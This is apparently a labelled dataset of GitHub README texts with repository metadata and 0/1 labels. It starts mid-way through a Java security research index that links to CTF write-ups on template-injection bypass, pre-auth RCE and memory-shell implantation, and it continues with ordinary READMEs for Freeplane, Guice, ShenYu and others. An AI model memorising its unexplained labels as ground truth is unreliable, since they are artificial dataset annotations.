- [UIUCTF2022-Spoink(关键词:Pebble最新模板注入Bypass、Spring中无路由上传文件处理)](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md)
- [TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)](https://y4tacker.github.io/2023/01/03/year/2023/TetCTF2023-Liferay-CVE-2019-16891-Pre-Auth-RCE/)
## 环境
- [如何远程调试Weblogic](https://github.com/QAX-A-Team/WeblogicEnvironment)
- [使用idea进行tomcat源码调试](https://zhuanlan.zhihu.com/p/35454131)
- [一些国产系统的环境搭建问题](https://github.com/ax1sX/SecurityList/)
## Todolist
- 解决反序列化serialVesionUID不一致问题--已经拿下
- [Dubbo学习之后开启](https://xz.aliyun.com/t/10916)
- [无文件落地Agent型内存马植入(Java内存攻击技术漫谈-Rebyond)](https://xz.aliyun.com/t/10075#toc-5)
- 自己对所有文件上传框架Trick总结
- 消化腾讯大师傅写的关于文件上传waf
## 注意事项
* 本仓库仅用于合法合规用途,严禁用于违法违规用途。
* 本工具中所涉及的漏洞均为网上已公开。
## 优质博客
- [Y4tacker(自己的能不写吗)](https://y4tacker.github.io/)
- [三梦](https://threedr3am.github.io/)
- [su18](https://su18.org/)
- [landgrey](https://landgrey.me/)
- [回忆飘如雪](https://gv7.me/)
## 更多
<div align=center><img src="https://api.star-history.com/svg?repos=Y4tacker/JavaSec&type=Timeline" div align=center/></div>
| 0 |
freeplane/freeplane | Application for Mind Mapping, Knowledge Management, Project Management. Develop, organize and communicate your ideas and knowledge in the most effective way. | 2012-09-13T08:55:51Z | null | Freeplane
=========
[![SourceForge](https://img.shields.io/sourceforge/dt/freeplane?color=green)](https://sourceforge.net/projects/freeplane/files/stats/timeline)
[![GitHub Repo stars](https://img.shields.io/github/stars/freeplane/freeplane?color=yellow)](https://github.com/freeplane/freeplane/stargazers)
[![GitHub forks](https://img.shields.io/github/forks/freeplane/freeplane)](https://github.com/freeplane/freeplane/network)
[![GitHub commit activity](https://img.shields.io/github/commit-activity/y/freeplane/freeplane?color=red)](https://img.shields.io/github/commit-activity/y/freeplane/freeplane?color=red)
[![GitHub last commit](https://img.shields.io/github/last-commit/freeplane/freeplane?color=orange)](https://github.com/freeplane/freeplane/commits)
[![GitHub closed pull requests](https://img.shields.io/github/issues-pr-closed/freeplane/freeplane)](https://github.com/freeplane/freeplane/pulls)
[![GitHub contributors](https://img.shields.io/github/contributors/freeplane/freeplane?color=purple)](https://github.com/freeplane/freeplane/graphs/contributors)
[![GitHub watchers](https://img.shields.io/github/watchers/freeplane/freeplane?color=yellowgreen)](https://img.shields.io/github/watchers/freeplane/freeplane?color=yellowgreen)
[Freeplane](https://www.freeplane.org) is a free and open source software application that supports thinking, sharing information, getting things done at work, in school and at home. It provides you a set of tools for mind mapping (also known as concept mapping or information mapping) and navigating the mapped information. Freeplane is also a more robust and superior alternative to Xmind, Mindmeister, and similar mind mapping software.
Freeplane is written in Java using OSGi and Java Swing. It runs on any operating system that has a current version of Java installed. It can be installed or can run from removable storage like a USB drive.
Download and install the latest version over at [Sourceforge](https://sourceforge.net/projects/freeplane/files/). If you would like to report a bug, you can go report it over at [Issues](https://github.com/freeplane/freeplane/issues).
The documentation can be found at [![mdBook Docu](https://img.shields.io/badge/mdBook-Docu-lightblue)](https://docs.freeplane.org/). There, you will find How-To Guides, FAQs, Examples and explanations about the functions of Freeplane.
Hop on to our [Discussions](https://github.com/freeplane/freeplane/discussions) if you have any questions, ideas, or thoughts you'd like to share. Contributors are very much welcome, of course!
Features Rundown
=====================================
![student](https://user-images.githubusercontent.com/88552647/170373856-7a636373-a783-4fa0-ba27-2ddb39d8ca3c.png)
-------------
![slides](https://user-images.githubusercontent.com/88552647/170373905-107a46ce-b8e6-4d6c-bf19-e711bfeb6a20.png)
-------------
![formatting](https://user-images.githubusercontent.com/88552647/170373875-b2885816-b900-4a2f-9ab4-3293cb148654.png)
-------------
![UI](https://user-images.githubusercontent.com/88552647/170374143-9e65d981-c7ef-456e-8c84-a43abcae3181.png)
-------------
![addons](https://user-images.githubusercontent.com/88552647/170373895-f851ddf8-4bc3-4544-a197-9b101c0d986d.png)
-------------
![command search](https://user-images.githubusercontent.com/88552647/170373890-fdb4ec75-ba95-4a71-ab6e-65f50e72897b.png)
-------------
![styling](https://user-images.githubusercontent.com/88552647/170373913-7337604c-9a08-4a73-8d7b-2d9d73981fa8.png)
-------------
![formulas](https://user-images.githubusercontent.com/88552647/170373932-247effb8-3df4-49a8-9158-192d26a752ec.png)
-------------
![discussions](https://user-images.githubusercontent.com/88552647/170373883-2a34bbeb-5bfe-4544-99bd-435295f46f8f.png)
-------------
How to Start Contributing
=====================================
We're currently looking for contributors for developing the documentation. If you can write simple step-by-step guides, translate existing text into English, transfer text from our old documentation into the new one, then we could use your help. You can start a discussion post saying you want to contribute to the documentation and the Freeplane team will respond and assist you.
If you have other ways of contributing: developing an add-on, sharing your pre-configured mindmap, or suggestions about future development, please feel free to join us in the [Discussions](https://github.com/freeplane/freeplane/discussions)
Every contributor or team member freely decides what task they are going to work on. However, for making the best decision regarding development, it's advised that we first propose and suggest the idea to the community through a discussion post as to enable early discussion and community feedback.
Where to Download
=====================================
Download and install the latest version over at [Sourceforge](https://sourceforge.net/projects/freeplane/files/).
| 0 |
MostafaGazar/CustomShapeImageView | A library for supporting custom shaped ImageView(s) using SVGs and paint shapes | 2013-11-02T15:08:22Z | null | CustomShapeImageView Demo ([Play Store Demo][1])
-------------------------
A library for supporting custom shaped ImageView(s) using SVGs and paint shapes
You can also use this gist https://gist.github.com/MostafaGazar/ee345987fa6c8924d61b if you do not want to add this library project to your codebase.
[![Build Status](https://travis-ci.org/MostafaGazar/CustomShapeImageView.svg)](https://travis-ci.org/MostafaGazar/CustomShapeImageView)
[![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-CustomShapeImageView-brightgreen.svg?style=flat)](https://android-arsenal.com/details/1/1197)
[![Android Weekly](http://img.shields.io/badge/Android%20Weekly-%2381-2CB3E5.svg?style=flat)](http://androidweekly.net/issues/issue-81)
[![PayPal Donations](https://img.shields.io/badge/paypal-donate-yellow.svg?style=flat)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=mmegazar%40gmail%2ecom&lc=NZ&item_name=Mostafa%20Gazar&item_number=GitHub¤cy_code=USD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)
[![Coverage Status](https://coveralls.io/repos/github/MostafaGazar/CustomShapeImageView/badge.svg?branch=master)](https://coveralls.io/github/MostafaGazar/CustomShapeImageView?branch=master)
Usage
-----
```xml
<com.meg7.widget.CustomShapeImageView
android:layout_width="64dp"
android:layout_height="64dp"
android:src="@drawable/sample"
app:shape="circle"
android:scaleType="centerCrop" />
<com.meg7.widget.CircleImageView
android:layout_width="64dp"
android:layout_height="64dp"
android:src="@drawable/sample"
android:scaleType="centerCrop" />
<com.meg7.widget.RectangleImageView
android:layout_width="64dp"
android:layout_height="64dp"
android:src="@drawable/sample"
android:scaleType="centerCrop" />
<com.meg7.widget.SvgImageView
android:layout_width="64dp"
android:layout_height="64dp"
android:src="@drawable/sample"
app:svg_raw_resource="@raw/shape_star"
android:scaleType="centerCrop" />
```
Download
------------
Add the `customshapeimageview` dependency to your `build.gradle` file:
[![Maven Central](https://img.shields.io/maven-central/v/com.mostafagazar/customshapeimageview.svg)](http://search.maven.org/#search%7Cga%7C1%7Ccustomshapeimageview)
```groovy
dependencies {
...
compile 'com.mostafagazar:customshapeimageview:1.0.4'
...
}
```
Proguard
------------
If you're using proguard for code shrinking and obfuscation, make sure to add the following:
```proguard
-keep class com.meg7.widget.** { *; }
```
Screenshots
------------
![main](https://raw.githubusercontent.com/MostafaGazar/CustomShapeImageView/master/Screenshot_2016-01-19-09-17-37.png)
Libraries used
---------------
* https://github.com/latemic/svg-android
Developed by
------------
* Mostafa Gazar - <mmegazar@gmail.com>
License
------------
Copyright 2013-2016 Mostafa Gazar
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Donations
------------
If you'd like to support this library, you could make a donation here:
[![PayPal Donation](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=mmegazar%40gmail%2ecom&lc=NZ&item_name=Mostafa%20Gazar&item_number=GitHub¤cy_code=USD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)
[1]: https://play.google.com/store/apps/details?id=com.meg7.samples
| 0 |
google/guice | Guice (pronounced 'juice') is a lightweight dependency injection framework for Java 11 and above, brought to you by Google. | 2014-05-28T23:18:53Z | null | Guice
====
- **Latest releases:**
* **[6.0.0](https://github.com/google/guice/wiki/Guice600) (supports `javax.{inject,servlet,persistence}`, [mostly supports](https://github.com/google/guice/wiki/Guice600#jee-jakarta-transition) `jakarta.inject`)**
* **[7.0.0](https://github.com/google/guice/wiki/Guice700) (supports `jakarta.{inject,servlet,persistence}`)**
* (6.0.0 & 7.0.0 are equivalent except for their javax/jakarta support.)
- **Documentation:**
* [User Guide](https://github.com/google/guice/wiki/Motivation),
* [6.0.0 javadocs](https://google.github.io/guice/api-docs/6.0.0/javadoc/index.html)
* [7.0.0 javadocs](https://google.github.io/guice/api-docs/7.0.0/javadoc/index.html)
* [Latest Snapshot javadocs](https://google.github.io/guice/api-docs/latest/javadoc/index.html)
- **Continuous Integration:**
[![Build Status](https://github.com/google/guice/workflows/continuous-integration/badge.svg)](https://github.com/google/guice/actions)
- **Mailing Lists:** [User Mailing List](http://groups.google.com/group/google-guice) <br/>
- **License:** [Apache 2.0](http://www.apache.org/licenses/LICENSE-2.0)
Overview
====
Put simply, Guice alleviates the need for factories and the use of new in your Java code. Think of Guice's @Inject as the new new. You will still need to write factories in some cases, but your code will not depend directly on them. Your code will be easier to change, unit test and reuse in other contexts.
Guice embraces Java's type safe nature. You might think of Guice as filling in missing features for core Java. Ideally, the language itself would provide most of the same features, but until such a language comes along, we have Guice.
Guice helps you design better APIs, and the Guice API itself sets a good example. Guice is not a kitchen sink. We justify each feature with at least three use cases. When in doubt, we leave it out. We build general functionality which enables you to extend Guice rather than adding every feature to the core framework.
Guice aims to make development and debugging easier and faster, not harder and slower. In that vein, Guice steers clear of surprises and magic. You should be able to understand code with or without tools, though tools can make things even easier. When errors do occur, Guice goes the extra mile to generate helpful messages.
For an introduction to Guice and a comparison to new and the factory pattern, see [Bob Lee's video presentation](https://www.youtube.com/watch?v=hBVJbzAagfs). After that, check out our [user's guide](https://github.com/google/guice/wiki/Motivation).
We've been running Guice in mission critical applications since 2006, and now you can, too. We hope you enjoy it as much as we do.
Installation Instructions
====
Guice Core (Maven)
```xml
<dependency>
<groupId>com.google.inject</groupId>
<artifactId>guice</artifactId>
<!-- {version} can be 6.0.0, 7.0.0, etc. -->
<version>{version}</version>
</dependency>
```
Guice Extension (Maven)
```xml
<dependency>
<groupId>com.google.inject.extensions</groupId>
<!-- {extension-name} can be one of: assistedinject, dagger-adapter,
grapher, jmx, jndi, persist, spring, testlib or throwingproviders -->
<artifactId>guice-{extension-name}</artifactId>
<!-- {version} must match the guice core version. -->
<version>{version}</version>
</dependency>
```
See [Maven Central](https://central.sonatype.com/artifact/com.google.inject/guice/) for more details, including snippets for other build systems such as Gradle, Ivy, sbt, and more.
---
[![jolt award](https://user-images.githubusercontent.com/1885701/52603534-0d620380-2e1c-11e9-8cd5-95f0e141fcb0.png)](http://www.drdobbs.com/tools/winners-of-the-18th-jolt-product-excelle/207600666?pgno=6)
| 0 |
hamvocke/spring-testing | A Spring Boot application with lots of test examples | 2017-05-12T06:49:12Z | null | # The Practical Test Pyramid: Spring Boot Edition
[![Build Status](https://circleci.com/gh/hamvocke/spring-testing/tree/master.svg?style=svg)](https://circleci.com/gh/hamvocke/spring-testing/tree/master)
This repository contains a *Spring Boot* application with lots of test examples on different levels of the [Test Pyramid](https://martinfowler.com/bliki/TestPyramid.html). It shows an opinionated way to thoroughly test your spring application by demonstrating different types and levels of testing. You will find that some of the tests are duplicated along the test pyramid -- concepts that have already been tested in lower-level tests will be tested in more high-level tests. This contradicts the premise of the test pyramid. In this case it helps demonstrating different kinds of tests which is the main goal of this repository.
## Read the Blog Post
This repository is part of a [blog posts](https://martinfowler.com/articles/practical-test-pyramid.html) I wrote about test automation and the test pyramid. I highly recommend you read it to get a better feeling for the purpose of the different kinds of tests in this repository and how you can implement a reliable test suite for a Spring Boot application.
## Get started
### 1. Set an API Key as Environment Variable
In order to run the service, you need to set the `WEATHER_API_KEY` environment variable to a valid API key retrieved from ~~darksky.net~~ [openweathermap.org](https://openweathermap.org/).
_Note: in a previous version this example used darksky.net as the weather API. Since they've shut down their API for public access, we've since switched over to openweathermap.org_
A simple way is to rename the `env.sample` file to `.env`, fill in your API key from _openweathermap.org_ and source it before running your application:
```bash
source .env
```
### 2. Start a PostgreSQL database
The easiest way is to use the provided `startDatabase.sh` script. This script starts a Docker container which contains a database with the following configuration:
* port: `15432`
* username: `testuser`
* password: `password`
* database name: `postgres`
If you don't want to use the script make sure to have a database with the same configuration or modify your `application.properties`.
### 3. Run the Application
Once you've provided the API key and started a PostgreSQL database you can run the application using
```bash
./gradlew bootRun
```
The application will start on port `8080` so you can send a sample request to `http://localhost:8080/hello` to see if you're up and running.
## Application Architecture
```
╭┄┄┄┄┄┄┄╮ ┌──────────┐ ┌──────────┐
┆ ☁ ┆ ←→ │ ☕ │ ←→ │ 💾 │
┆ Web ┆ HTTP │ Spring │ │ Database │
╰┄┄┄┄┄┄┄╯ │ Service │ └──────────┘
└──────────┘
↑ JSON/HTTP
↓
┌──────────┐
│ ☁ │
│ Weather │
│ API │
└──────────┘
```
The sample application is almost as easy as it gets. It stores `Person`s in an in-memory database (using _Spring Data_) and provides a _REST_ interface with three endpoints:
* `GET /hello`: Returns _"Hello World!"_. Always.
* `GET /hello/{lastname}`: Looks up the person with `lastname` as its last name and returns _"Hello {Firstname} {Lastname}"_ if that person is found.
* `GET /weather`: Calls a downstream [weather API](https://openweathermap.org/current#name) via HTTP and returns a summary for the current weather conditions in Hamburg, Germany
### Internal Architecture
The **Spring Service** itself has a pretty common internal architecture:
* `Controller` classes provide _REST_ endpoints and deal with _HTTP_ requests and responses
* `Repository` classes interface with the _database_ and take care of writing and reading data to/from persistent storage
* `Client` classes talk to other APIs, in our case it fetches _JSON_ via _HTTP_ from the openweathermap.org weather API
```
Request ┌────────── Spring Service ───────────┐
─────────→ ┌─────────────┐ ┌─────────────┐ │ ┌─────────────┐
←───────── │ Controller │ ←→ │ Repository │←──→ │ Database │
Response │ └─────────────┘ └─────────────┘ │ └─────────────┘
│ ↓ │
│ ┌──────────┐ │
│ │ Client │ │
│ └──────────┘ │
└─────────│───────────────────────────┘
│
↓
┌──────────┐
│ ☁ │
│ Weather │
│ API │
└──────────┘
```
## Test Layers
The example applicationn shows different test layers according to the [Test Pyramid](https://martinfowler.com/bliki/TestPyramid.html).
```
╱╲
End-to-End
╱────╲
╱ Inte-╲
╱ gration╲
╱──────────╲
╱ Unit ╲
──────────────
```
The base of the pyramid is made up of unit tests. They should make the biggest part of your automated test suite.
The next layer, integration tests, test all places where your application serializes or deserializes data. Your service's REST API, Repositories or calling third-party services are good examples. This codebase contains example for all of these tests.
```
╭┄┄┄┄┄┄┄╮ ┌──────────┐ ┌──────────┐
┆ ☁ ┆ ←→ │ ☕ │ ←→ │ 💾 │
┆ Web ┆ │ Spring │ │ Database │
╰┄┄┄┄┄┄┄╯ │ Service │ └──────────┘
└──────────┘
│ Controller │ Repository │
└─── Integration ───┴──── Integration ─────┘
│ │
└────────────── Acceptance ────────────────┘
```
```
┌─────────┐ ─┐
│ ☁ │ │
│ Weather │ │
│ API │ │
│ Stub │ │
└─────────┘ │ Client
↑ │ Integration
↓ │ Test
┌──────────┐ │
│ ☕ │ │
│ Spring │ │
│ Service │ │
└──────────┘ ─┘
```
## Tools
You can find lots of different tools, frameworks and libraries being used in the different examples:
* **Spring Boot**: application framework
* **JUnit**: test runner
* **Hamcrest Matchers**: assertions
* **Mockito**: test doubles (mocks, stubs)
* **MockMVC**: testing Spring MVC controllers
* **RestAssured**: testing the service end to end via HTTP
* **Wiremock**: provide HTTP stubs for downstream services
| 1 |
apache/shenyu | Apache ShenYu is a Java native API Gateway for service proxy, protocol conversion and API governance. | 2018-07-11T08:17:45Z | null | ![Light Logo](https://raw.githubusercontent.com/apache/shenyu-website/main/static/img/logo-light.svg#gh-dark-mode-only)
![Dark Logo](https://raw.githubusercontent.com/apache/shenyu-website/main/static/img/logo.svg#gh-light-mode-only)
<p align="center">
<strong>Scalable, High Performance, Responsive API Gateway Solution for all MicroServices</strong>
</p>
<p align="center">
<a href="https://shenyu.apache.org/">https://shenyu.apache.org/</a>
</p>
<p align="center">
<a href="https://shenyu.apache.org/docs/index" >
<img src="https://img.shields.io/badge/document-English-blue.svg" alt="EN docs" />
</a>
<a href="https://shenyu.apache.org/zh/docs/index">
<img src="https://img.shields.io/badge/文档-简体中文-blue.svg" alt="简体中文文档" />
</a>
</p>
<p align="center">
<a target="_blank" href="https://search.maven.org/search?q=g:org.apache.shenyu%20AND%20a:shenyu">
<img src="https://img.shields.io/maven-central/v/org.apache.shenyu/shenyu.svg?label=maven%20central" />
</a>
<a target="_blank" href="https://github.com/apache/shenyu/blob/master/LICENSE">
<img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg?label=license" />
</a>
<a target="_blank" href="https://www.oracle.com/technetwork/java/javase/downloads/index.html">
<img src="https://img.shields.io/badge/JDK-8+-green.svg" />
</a>
<a target="_blank" href="https://github.com/apache/shenyu/actions">
<img src="https://github.com/apache/shenyu/workflows/ci/badge.svg" />
</a>
<a target="_blank" href='https://github.com/apache/shenyu'>
<img src="https://img.shields.io/github/forks/apache/shenyu.svg" alt="github forks"/>
</a>
<a target="_blank" href='https://github.com/apache/shenyu'>
<img src="https://img.shields.io/github/stars/apache/shenyu.svg" alt="github stars"/>
</a>
<a target="_blank" href='https://github.com/apache/shenyu'>
<img src="https://img.shields.io/github/contributors/apache/shenyu.svg" alt="github contributors"/>
</a>
<a target="_blank" href="https://codecov.io/gh/apache/shenyu">
<img src="https://codecov.io/gh/apache/shenyu/branch/master/graph/badge.svg" />
</a>
<a target="_blank" href="https://hub.docker.com/r/apache/shenyu-bootstrap/tags">
<image src="https://img.shields.io/docker/pulls/apache/shenyu-bootstrap" alt="Docker Pulls"/>
</a>
</p>
<br/>
---
# Architecture
![](https://shenyu.apache.org/img/architecture/shenyu-architecture-3d.png)
----
# Why named Apache ShenYu
ShenYu (神禹) is the honorific name of Chinese ancient monarch Xia Yu (also known in later times as Da Yu),
who left behind the touching story of the three times he crossed the Yellow River for the benefit of the people and successfully managed the flooding of the river.
He is known as one of the three greatest kings of ancient China, along with Yao and Shun.
* Firstly, the name ShenYu is to promote the traditional virtues of our Chinese civilisation.
* Secondly, the most important thing about the gateway is the governance of the traffic.
* Finally, the community will do things in a fair, just, open and meritocratic way, paying tribute to ShenYu while also conforming to the Apache Way.
---
# Features
* Proxy: Support for Apache® Dubbo™, Spring Cloud, gRPC, Motan, SOFA, TARS, WebSocket, MQTT
* Security: Sign, OAuth 2.0, JSON Web Tokens, WAF plugin
* API governance: Request, response, parameter mapping, Hystrix, RateLimiter plugin
* Observability: Tracing, metrics, logging plugin
* Dashboard: Dynamic traffic control, visual backend for user menu permissions
* Extensions: Plugin hot-swapping, dynamic loading
* Cluster: NGINX, Docker, Kubernetes
* Language: provides .NET, Python, Go, Java client for API register
---
# Quick Start (docker)
### Create network for Shenyu
```
> docker network create shenyu
```
### Run Apache ShenYu Admin
```
> docker pull apache/shenyu-admin
> docker run -d --name shenyu-admin-quickstart -p 9095:9095 --net shenyu apache/shenyu-admin
```
### Run Apache ShenYu Bootstrap
```
> docker pull apache/shenyu-bootstrap
> docker run -d --name shenyu-quickstart -p 9195:9195 -e "shenyu.local.enabled=true" -e SHENYU_SYNC_WEBSOCKET_URLS=ws://shenyu-admin-quickstart:9095/websocket --net shenyu apache/shenyu-bootstrap
```
### Set router
* Real request :http://127.0.0.1:8080/helloworld,
```json
{
"name" : "Shenyu",
"data" : "hello world"
}
```
* Set routing rules (Standalone)
Add `localKey: 123456` to Headers. If you need to customize the localKey, you can use the sha512 tool to generate the key based on plaintext and update the `shenyu.local.sha512Key` property.
```
curl --location --request POST 'http://localhost:9195/shenyu/plugin/selectorAndRules' \
--header 'Content-Type: application/json' \
--header 'localKey: 123456' \
--data-raw '{
"pluginName": "divide",
"selectorHandler": "[{\"upstreamUrl\":\"127.0.0.1:8080\"}]",
"conditionDataList": [{
"paramType": "uri",
"operator": "match",
"paramValue": "/**"
}],
"ruleDataList": [{
"ruleHandler": "{\"loadBalance\":\"random\"}",
"conditionDataList": [{
"paramType": "uri",
"operator": "match",
"paramValue": "/**"
}]
}]
}'
```
* Proxy request :http://localhost:9195/helloworld
```json
{
"name" : "Shenyu",
"data" : "hello world"
}
```
---
# Plugin
Whenever a request comes in, Apache ShenYu will execute it by all enabled plugins through the chain of responsibility.
As the heart of Apache ShenYu, plugins are extensible and hot-pluggable.
Different plugins do different things.
Of course, users can also customize plugins to meet their own needs.
If you want to customize, see [custom-plugin](https://shenyu.apache.org/docs/developer/custom-plugin/) .
---
# Selector & Rule
According to your HTTP request headers, selectors and rules are used to route your requests.
Selector is your first route, It is coarser grained, for example, at the module level.
Rule is your second route and what do you think your request should do. For example a method level in a module.
The selector and the rule match only once, and the match is returned. So the coarsest granularity should be sorted last.
---
# Data Caching & Data Sync
Since all data have been cached using ConcurrentHashMap in the JVM, it's very fast.
Apache ShenYu dynamically updates the cache by listening to the ZooKeeper node (or WebSocket push, HTTP long polling) when the user changes configuration information in the background management.
![](https://shenyu.apache.org/img/shenyu/dataSync/shenyu-config-processor-en.png)
![](https://shenyu.apache.org/img/shenyu/dataSync/config-strategy-processor-en.png)
---
# Prerequisite
* JDK 1.8+
---
# Stargazers over time
[![Stargazers over time](https://starchart.cc/apache/shenyu.svg)](https://starchart.cc/apache/shenyu.svg)
---
# Contributor and Support
* [How to Contribute](https://shenyu.apache.org/community/contributor-guide)
* [Mailing Lists](mailto:dev@shenyu.apache.org)
---
# Known Users
In order of registration, More access companies are welcome to register at [https://github.com/apache/shenyu/issues/68](https://github.com/apache/shenyu/issues/68) (For open source users only) .
All Users : [Known Users](https://shenyu.apache.org/community/user-registration)
| 0 |
blossom-editor/blossom | A markdown editor that you can deploy on your own servers to achieve cloud storage and device synchronization(支持私有部署的云端存储双链笔记软件) | 2023-08-07T03:02:17Z | null | ### [English](./README-EN.md) | [中文](./README.md)
<p align="center">
<img src="./doc/imgs/blossom_name.png" height="auto">
</p>
<p align="center">
<a href="https://www.wangyunf.com/blossom-demo/#/settingindex">💻️ 试用</a> | <a href="https://www.wangyunf.com/blossom-doc/index.html">📃 文档</a> | <a href="https://www.wangyunf.com/blossom-doc/guide/about/download.html">📥 下载</a>
</p>
Blossom 是一个支持**私有部署**的**云端双链笔记软件**,你可以将你的笔记,图片,个人计划安排保存在自己的服务器中,并在任意设备之间实时同步。同时还是一个动态博客。
支持 Windows,Mac,网页客户端,网页移动端。
<p align="center">
<img src="./doc/imgs/device.png">
</p>
# 🛎️ 在线试用
你可以通过[在线地址](https://www.wangyunf.com/blossom-demo/#/settingindex)或[下载客户端](https://www.wangyunf.com/blossom-doc/guide/about/download.html)试用,详细信息请查看[试用](https://www.wangyunf.com/blossom-doc/guide/tryuse.html)文档。
<br/><br/>
# 👏 Blossom 的特点:
### 完善的文件关系
Blossom 不依赖任何三方存储和图床,其本身就是一个图床,并且提供了完善的图片管理,防勿删,以及图片和文章的双向关系绑定。
基于 Markdown 编写,没有破坏性的语法拓展,在这里编写的内容在任何 Markdown 软件中都能正常显示。
### 快速迁移
所有图片和文章都支持一键备份和导出,可以在几分钟内轻松迁出。导出的文件可以无缝使用 VS Code 或 Obsidian 等本地软件正常打开。
### 丰富的附加功能
- 📅 [计划安排](https://www.wangyunf.com/blossom-doc/guide/plan.html)
- 🏷️ [待办事项](https://www.wangyunf.com/blossom-doc/guide/todo.html)
- 🎫 [快捷便签](https://www.wangyunf.com/blossom-doc/guide/note.html)
- 🍅 [番茄钟](https://www.wangyunf.com/blossom-doc/guide/article.html#tomato)
- 🧰 多用户、字数统计、字数折线图、编辑热力图、天气预报、主题设置...
Blossom 拥有丰富的功能,不仅仅是知识管理,更是一个可以供多人同时使用的全面实用性工具。
<br/><br/>
# 🚀 Docker Compose 一键部署
```
docker compose -f docker/compose/blossom-mysql8.yaml up -d
```
<br/><br/>
# 🥳 加入群聊
加入群聊进行沟通,反馈问题。
- 1 群:522359970 (即将满)
- 2 群:921906098 (即将满)
- 3 群:749721525
<p align="center">
<img src="./doc/imgs/qq1.png" height="400">
<img src="./doc/imgs/qq2.png" height="400">
<img src="./doc/imgs/qq3.png" height="400">
</p>
# 🤝 赞助 Blossom
**Blossom 不会向你收取任何的费用,你可以永久免费使用!**
但开源软件的收益目前很难维持生活,并且项目设计,开发,测试需要大量的时间和精力,如果你愿意赞助我的工作,将非常有助于该项目的成长,并激励我长期持续下去!
**感谢每一个位赞助者对 Blossom 的大力支持,Blossom 因为你们变得更好。**
<p align="center">
<a target="_blank" href="https://www.wangyunf.com/blossom-doc/guide/about/sponsor-list.html">
<img alt="sponsors" src="https://www.wangyunf.com/bl/pic/home/bl/img/U1/pic/sponsor.svg">
</a>
</p>
---
<h4 align="center">你可以通过以下几种方式赞助 Blossom。</h4>
<p align="center">
<img src="./doc/imgs/sponsors/wechat.png" height="400">
<img src="./doc/imgs/sponsors/ali.png" height="400">
<img src="./doc/imgs/sponsors/aifadian.png" height="400">
</p>
<br/>
# 更多图片
!["编辑器"](./doc/imgs/article.png)
<p align="center">编辑器</p>
---
!["双链笔记"](./doc/imgs/article_reference.png)
<p align="center">双链笔记</p>
---
!["照片墙"](./doc/imgs/picture.png)
<p align="center">照片墙</p>
---
!["日历计划"](./doc/imgs/todo.png)
<p align="center">待办事项清单</p>
---
!["日历计划"](./doc/imgs/plan.png)
<p align="center">日历计划</p>
---
!["便签管理"](./doc/imgs/note.png)
<p align="center">便签管理</p>
---
!["博客"](./doc/imgs/blog_home_pc.png)
<p align="center">博客</p>
<p align="center">
<img src="./doc/imgs/blog_home_m.png" height="600">
<img src="./doc/imgs/blog_article.png" height="600" style="margin-left: 30px">
</p>
<p align="center">博客移动端</p>
| 0 |
rubenlagus/TelegramBots | Java library to create bots using Telegram Bots API | 2016-01-14T00:13:07Z | null | # Telegram Bot Java Library
[![Telegram](/TelegramBots.svg)](https://telegram.me/JavaBotsApi)
[![Build Status](https://travis-ci.org/rubenlagus/TelegramBots.svg?branch=master)](https://travis-ci.org/rubenlagus/TelegramBots)
[![Jitpack](https://jitpack.io/v/rubenlagus/TelegramBots.svg)](https://jitpack.io/#rubenlagus/TelegramBots)
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.telegram/telegrambots/badge.svg)](http://mvnrepository.com/artifact/org.telegram/telegrambots)
[![MIT License](http://img.shields.io/badge/license-MIT-blue.svg?style=flat)](https://github.com/rubenlagus/TelegramBots/blob/master/LICENSE)
A simple to use library to create Telegram Bots in Java
## Contributions
Feel free to fork this project, work on it and then make a pull request against **DEV** branch. Most of the times I will accept them if they add something valuable to the code.
Please, **DO NOT PUSH ANY TOKEN OR API KEY**, I will never accept a pull request with that content.
## Webhooks vs GetUpdates
Both ways are supported, but I recommend long polling method.
## Usage
For more information, check our [documentation](https://rubenlagus.github.io/TelegramBotsDocumentation/telegram-bots.html)
## Example bots
Open them and send them */help* command to get some information about their capabilities:
https://telegram.me/weatherbot (**Use custom keyboards**)
https://telegram.me/directionsbot (**Basic messages**)
https://telegram.me/filesbot (**Send files by file_id**)
https://telegram.me/TGlanguagesbot (**Send files uploding them**)
https://telegram.me/RaeBot (**Inline support**)
https://telegram.me/SnowcrashBot (**Webhook support**)
You can see code for those bots at [TelegramBotsExample](https://github.com/rubenlagus/TelegramBotsExample) project.
## Telegram Bot API
This library use [Telegram bot API](https://core.telegram.org/bots), you can find more information following the link.
## Questions or Suggestions
Feel free to create issues [here](https://github.com/rubenlagus/TelegramBots/issues) as you need or join the [chat](https://telegram.me/JavaBotsApi)
## Powered by Intellij and DigitalOcean
<p align="center">
<a href="https://www.jetbrains.com/?from=TelegramBots"><img src="jetbrains.png" width="75"></a>
<a href="https://www.digitalocean.com/?refcode=42a4fa8c6d00&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge"><img src="https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg" alt="DigitalOcean Referral Badge" /></a>
</p>
## License
MIT License
Copyright (c) 2016 Ruben Bermudez
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
